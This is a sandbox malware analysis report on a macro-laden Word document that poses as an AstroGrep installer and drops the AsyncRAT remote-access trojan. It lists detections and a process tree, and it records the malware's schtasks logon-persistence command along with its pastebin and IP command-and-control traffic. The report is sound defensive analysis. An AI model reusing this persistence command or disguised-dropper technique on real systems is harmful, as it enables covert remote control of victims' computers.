Play interactive tour

Edit tour

Windows Analysis Report astro-grep-setup.exe.doc

Overview

General Information

Sample Name:	astro-grep-setup.exe.doc
Analysis ID:	450275
MD5:	9c3d3679ea84ff9bf67bf8c7aa2afc48
SHA1:	0470d616e8918ef03098741bf7fb0b313bb8aaea
SHA256:	2f5639932c7a25cf51737748cdc495367a9203e0a963f930f0009935109da190
Tags:	AstroGrepdoc
Infos:
Most interesting Screenshot:

Detection

AsyncRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Document exploit detected (creates forbidden files)

Document exploit detected (drops PE files)

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Yara detected AsyncRAT

.NET source code contains potential unpacker

Connects to a pastebin service (likely for C&C)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Document contains an embedded VBA macro which may execute processes

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with base64 encoded strings

Document contains an embedded VBA with hexadecimal encoded strings

Document exploit detected (process start blacklist hit)

Machine Learning detection for dropped file

Machine Learning detection for sample

Office process drops PE file

Sigma detected: Regsvr32 Anomaly

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses schtasks.exe or at.exe to add and modify task schedules

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Document contains embedded VBA macros

Document contains no OLE stream with summary information

Document has an unknown application name

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains strange resources

PE file overlay found

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Stores files to the Windows start menu directory

Unable to load, office file is protected or invalid

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara signature match

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 2788 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)

ms.exe (PID: 1260 cmdline: C:\ProgramData\Memsys\ms.exe MD5: DBBB611DAF3ABD47972AE4FAF5D54C95)

ASTRO-GREP.EXE (PID: 2432 cmdline: 'C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE' MD5: 432F0E0AAB658DE046D8B41D2CEF8253)

cmd.exe (PID: 1784 cmdline: 'C:\Windows\System32\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn 'astro-grep' /tr ''C:\Users\user\AppData\Roaming\astro-grep.exe'' & exit MD5: AD7B9C14083B52BC532FBA5948342B98)

schtasks.exe (PID: 2220 cmdline: schtasks /create /f /sc onlogon /rl highest /tn 'astro-grep' /tr ''C:\Users\user\AppData\Roaming\astro-grep.exe'' MD5: 2003E9B15E1C502B146DAD2E383AC1E3)

cmd.exe (PID: 1068 cmdline: C:\Windows\system32\cmd.exe /c ''C:\Users\user\AppData\Local\Temp\tmp3E29.tmp.bat'' MD5: AD7B9C14083B52BC532FBA5948342B98)

timeout.exe (PID: 2288 cmdline: timeout 3 MD5: 419A5EF8D76693048E4D6F79A5C875AE)

astro-grep.exe (PID: 1428 cmdline: 'C:\Users\user\AppData\Roaming\astro-grep.exe' MD5: 432F0E0AAB658DE046D8B41D2CEF8253)

ASTROGREP_SETUP_V4.4.7.EXE (PID: 2328 cmdline: 'C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE' MD5: A708211241313FEAF9621E571631534D)

taskeng.exe (PID: 2320 cmdline: taskeng.exe {E0184388-4CC0-4E79-AF38-011207705295} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1] MD5: 65EA57712340C09B1B0C427B4848AE05)

astro-grep.exe (PID: 2468 cmdline: C:\Users\user\AppData\Roaming\astro-grep.exe MD5: 432F0E0AAB658DE046D8B41D2CEF8253)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\astro-grep.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
C:\ProgramData\Memsys\ms.exe	Malware_QA_update	VT Research QA uploaded malware - file update.exe	Florian Roth	0xa0a8:$x4: C:\Users\DarkCoderSc\ 0xa0c5:$x5: Celesty Binder\Stub\STATIC\Stub.pdb
C:\ProgramData\Memsys\ms.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.2441547401.0000000000922000.00000020.00020000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0000000C.00000000.2447425472.0000000000192000.00000020.00020000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0000000E.00000000.2450569517.0000000000192000.00000020.00020000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0000000E.00000002.2501813179.0000000000192000.00000020.00020000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000003.00000000.2389222840.0000000000922000.00000020.00020000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0000000C.00000002.2652015747.0000000000192000.00000020.00020000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000003.00000002.2441758985.00000000024AF000.00000004.00000001.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000002.00000000.2386988323.0000000000B7F000.00000002.00020000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: ASTRO-GREP.EXE PID: 2432	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: astro-grep.exe PID: 2468	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
12.2.astro-grep.exe.190000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
3.2.ASTRO-GREP.EXE.920000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
14.0.astro-grep.exe.190000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
3.2.ASTRO-GREP.EXE.24afcd8.1.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
12.0.astro-grep.exe.190000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
14.2.astro-grep.exe.190000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
3.0.ASTRO-GREP.EXE.920000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
2.2.ms.exe.b7f330.1.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
2.0.ms.exe.b7f330.2.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
3.2.ASTRO-GREP.EXE.24afcd8.1.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
2.2.ms.exe.b70000.0.unpack	Malware_QA_update	VT Research QA uploaded malware - file update.exe	Florian Roth	0xa0a8:$x4: C:\Users\DarkCoderSc\ 0xa0c5:$x5: Celesty Binder\Stub\STATIC\Stub.pdb
2.2.ms.exe.b70000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
2.0.ms.exe.b7f330.2.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
2.0.ms.exe.b70000.0.unpack	Malware_QA_update	VT Research QA uploaded malware - file update.exe	Florian Roth	0xa0a8:$x4: C:\Users\DarkCoderSc\ 0xa0c5:$x5: Celesty Binder\Stub\STATIC\Stub.pdb
2.0.ms.exe.b70000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
2.2.ms.exe.b7f330.1.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Click to see the 11 entries

Sigma Overview

System Summary:

Sigma detected: Regsvr32 Anomaly

Show sources

Source: Process started

Author: Florian Roth, oscd.community: Data: Command: 'C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE' , CommandLine: 'C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE' , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE, NewProcessName: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE, OriginalFileName: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE, ParentCommandLine: C:\ProgramData\Memsys\ms.exe, ParentImage: C:\ProgramData\Memsys\ms.exe, ParentProcessId: 1260, ProcessCommandLine: 'C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE' , ProcessId: 2432

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\ProgramData\Memsys\ms.exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Avira: detection malicious, Label: TR/Dropper.Gen

Multi AV Scanner detection for submitted file

Show sources

Source: astro-grep-setup.exe.doc

Virustotal: Detection: 60%

Perma Link

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Joe Sandbox ML: detected
Source: C:\ProgramData\Memsys\ms.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Show sources

Source: astro-grep-setup.exe.doc

Joe Sandbox ML: detected

Source: 12.2.astro-grep.exe.190000.0.unpack	Avira: Label: TR/Dropper.Gen
Source: 14.0.astro-grep.exe.190000.0.unpack	Avira: Label: TR/Dropper.Gen
Source: 3.2.ASTRO-GREP.EXE.920000.0.unpack	Avira: Label: TR/Dropper.Gen
Source: 2.0.ms.exe.b8b130.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 12.0.astro-grep.exe.190000.0.unpack	Avira: Label: TR/Dropper.Gen
Source: 2.2.ms.exe.b70000.0.unpack	Avira: Label: TR/Dropper.Gen
Source: 14.2.astro-grep.exe.190000.0.unpack	Avira: Label: TR/Dropper.Gen
Source: 3.0.ASTRO-GREP.EXE.920000.0.unpack	Avira: Label: TR/Dropper.Gen
Source: 2.0.ms.exe.b70000.0.unpack	Avira: Label: TR/Dropper.Gen
Source: 2.2.ms.exe.b8b130.2.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: unknown

HTTPS traffic detected: 104.23.98.190:443 -> 192.168.2.22:49165 version: TLS 1.0

Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Window detected: < &BackI &AgreeCancelNullsoft Install System v3.0rc1 Nullsoft Install System v3.0rc1License AgreementPlease review the license terms before installing AstroGrep v4.4.7.Press Page Down to see the rest of the agreement. GNU GENERAL PUBLIC LICENSE Version 2 June 1991 Copyright (C) 1989 1991 Free Software Foundation Inc. 59 Temple Place Suite 330 Boston MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document but changing it is not allowed. Preamble The licenses for most software are designed to take away yourfreedom to share and change it. By contrast the GNU General PublicLicense is intended to guarantee your freedom to share and change freesoftware--to make sure the software is free for all its users. ThisGeneral Public License applies to most of the Free SoftwareFoundation's software and to any other program whose authors commit tousing it. (Some other Free Software Foundation software is covered bythe GNU Library General Public License instead.) You can apply it toyour programs too. When we speak of free software we are referring to freedom notprice. Our General Public Licenses are designed to make sure that youhave the freedom to distribute copies of free software (and charge forthis service if you wish) that you receive source code or can get itif you want it that you can change the software or use pieces of itin new free programs; and that you know you can do these things. To protect your rights we need to make restrictions that forbidanyone to deny you these rights or to ask you to surrender the rights.These restrictions translate to certain responsibilities for you if youdistribute copies of the software or if you modify it. For example if you distribute copies of such a program whethergratis or for a fee you must give the recipients all the rights thatyou have. You must make sure that they too receive or can get thesource code. And you must show them these terms so they know theirrights. We protect your rights with two steps: (1) copyright the software and(2) offer you this license which gives you legal permission to copydistribute and/or modify the software. Also for each author's protection and ours we want to make certainthat everyone understands that there is no warranty for this freesoftware. If the software is modified by someone else and passed on wewant its recipients to know that what they have is not the original sothat any problems introduced by others will not reflect on the originalauthors' reputations. Finally any free program is threatened constantly by softwarepatents. We wish to avoid the danger that redistributors of a freeprogram will individually obtain patent licenses in effect making theprogram proprietary. To prevent this we have made it clear that anypatent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying distribution andmodification follow. GNU GENERAL PUBLIC L
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Window detected: < &BackI &AgreeCancelNullsoft Install System v3.0rc1 Nullsoft Install System v3.0rc1License AgreementPlease review the license terms before installing AstroGrep v4.4.7.Press Page Down to see the rest of the agreement. GNU GENERAL PUBLIC LICENSE Version 2 June 1991 Copyright (C) 1989 1991 Free Software Foundation Inc. 59 Temple Place Suite 330 Boston MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document but changing it is not allowed. Preamble The licenses for most software are designed to take away yourfreedom to share and change it. By contrast the GNU General PublicLicense is intended to guarantee your freedom to share and change freesoftware--to make sure the software is free for all its users. ThisGeneral Public License applies to most of the Free SoftwareFoundation's software and to any other program whose authors commit tousing it. (Some other Free Software Foundation software is covered bythe GNU Library General Public License instead.) You can apply it toyour programs too. When we speak of free software we are referring to freedom notprice. Our General Public Licenses are designed to make sure that youhave the freedom to distribute copies of free software (and charge forthis service if you wish) that you receive source code or can get itif you want it that you can change the software or use pieces of itin new free programs; and that you know you can do these things. To protect your rights we need to make restrictions that forbidanyone to deny you these rights or to ask you to surrender the rights.These restrictions translate to certain responsibilities for you if youdistribute copies of the software or if you modify it. For example if you distribute copies of such a program whethergratis or for a fee you must give the recipients all the rights thatyou have. You must make sure that they too receive or can get thesource code. And you must show them these terms so they know theirrights. We protect your rights with two steps: (1) copyright the software and(2) offer you this license which gives you legal permission to copydistribute and/or modify the software. Also for each author's protection and ours we want to make certainthat everyone understands that there is no warranty for this freesoftware. If the software is modified by someone else and passed on wewant its recipients to know that what they have is not the original sothat any problems introduced by others will not reflect on the originalauthors' reputations. Finally any free program is threatened constantly by softwarepatents. We wish to avoid the danger that redistributors of a freeprogram will individually obtain patent licenses in effect making theprogram proprietary. To prevent this we have made it clear that anypatent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying distribution andmodification follow. GNU GENERAL PUBLIC L

Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File created: C:\Program Files (x86)\AstroGrep\license.txt			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File created: C:\Program Files (x86)\AstroGrep\readme.txt			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: C:\Users\DarkCoderSc\Desktop\Celesty Binder\Stub\STATIC\Stub.pdb source: ms.exe, 00000002.00000000.2386968747.0000000000B79000.00000002.00020000.sdmp
Source:	Binary string: C:\projects\nlog\src\NLog\obj\Release\net40-client\NLog.pdbSHA256 source: ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp
Source:	Binary string: &C:\Users\DarkCoderSc\Desktop\Celesty Binder\Stub\STATIC\Stub.pdb source: ms.exe, 00000002.00000000.2386968747.0000000000B79000.00000002.00020000.sdmp
Source:	Binary string: C:\projects\nlog\src\NLog\obj\Release\net40-client\NLog.pdb source: ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp

Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Code function: 4_2_00406033 FindFirstFileA,FindClose,	4_2_00406033
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Code function: 4_2_004055D1 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	4_2_004055D1
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Code function: 4_2_00402688 FindFirstFileA,	4_2_00402688

Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior

Software Vulnerabilities:

Document exploit detected (creates forbidden files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\ProgramData\Memsys\ms.exe

Jump to behavior

Document exploit detected (drops PE files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: ms.exe.0.dr

Jump to dropped file

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\ProgramData\Memsys\ms.exe

Source: global traffic

DNS query: name: pastebin.com

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 104.23.98.190:443

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 104.23.98.190:443

Source: winword.exe

Memory has grown: Private usage: 0MB later: 53MB

Networking:

Connects to a pastebin service (likely for C&C)

Show sources

Source: unknown

DNS query: name: pastebin.com

Source: global traffic

TCP traffic: 192.168.2.22:49166 -> 185.195.232.251:57667

Source: Joe Sandbox View	IP Address: 104.23.98.190 104.23.98.190
Source: Joe Sandbox View	IP Address: 104.23.98.190 104.23.98.190

Source: Joe Sandbox View

JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d

Source: unknown

HTTPS traffic detected: 104.23.98.190:443 -> 192.168.2.22:49165 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251
Source: unknown	TCP traffic detected without corresponding DNS query: 185.195.232.251

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{90768F62-679A-419C-A2B1-C0B28319F5E4}.tmp

Jump to behavior

Source: ms.exe, 00000002.00000002.2393092375.0000000002740000.00000002.00000001.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: pastebin.com

Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/CloudflareIncRSACA-2.crt0
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/CloudflareIncRSACA-2.crl07
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0m
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/CloudflareIncRSACA-2.crl0
Source: ms.exe, 00000002.00000002.2393092375.0000000002740000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: ms.exe, 00000002.00000002.2393092375.0000000002740000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: ms.exe, 00000002.00000002.2395032215.0000000002927000.00000002.00000001.sdmp, ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2479870233.0000000003377000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: ms.exe, 00000002.00000002.2395032215.0000000002927000.00000002.00000001.sdmp, ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2479870233.0000000003377000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: ASTROGREP_SETUP_V4.4.7.EXE, ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000000.2390480957.0000000000409000.00000008.00020000.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000000.2390480957.0000000000409000.00000008.00020000.sdmp, ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: astro-grep.exe, 0000000C.00000002.2652361514.0000000002344000.00000004.00000001.sdmp	String found in binary or memory: http://pastebin.com
Source: ASTRO-GREP.EXE, 00000003.00000002.2442951671.0000000004ED0000.00000002.00000001.sdmp, ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2477688132.0000000001E30000.00000002.00000001.sdmp, taskeng.exe, 0000000B.00000002.2652140631.0000000001C70000.00000002.00000001.sdmp, astro-grep.exe, 0000000C.00000002.2653664387.0000000004DF0000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: ASTRO-GREP.EXE, 00000003.00000002.2441734010.000000000248A000.00000004.00000001.sdmp, astro-grep.exe, 0000000C.00000002.2652322196.00000000022E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: ms.exe, 00000002.00000002.2395032215.0000000002927000.00000002.00000001.sdmp, ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2479870233.0000000003377000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: ms.exe, 00000002.00000002.2395032215.0000000002927000.00000002.00000001.sdmp, ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2479870233.0000000003377000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: ASTRO-GREP.EXE, 00000003.00000002.2442951671.0000000004ED0000.00000002.00000001.sdmp, ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2477688132.0000000001E30000.00000002.00000001.sdmp, taskeng.exe, 0000000B.00000002.2652140631.0000000001C70000.00000002.00000001.sdmp, astro-grep.exe, 0000000C.00000002.2653664387.0000000004DF0000.00000002.00000001.sdmp, astro-grep.exe, 0000000E.00000002.2504792179.0000000004F70000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com/CPS0v
Source: astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
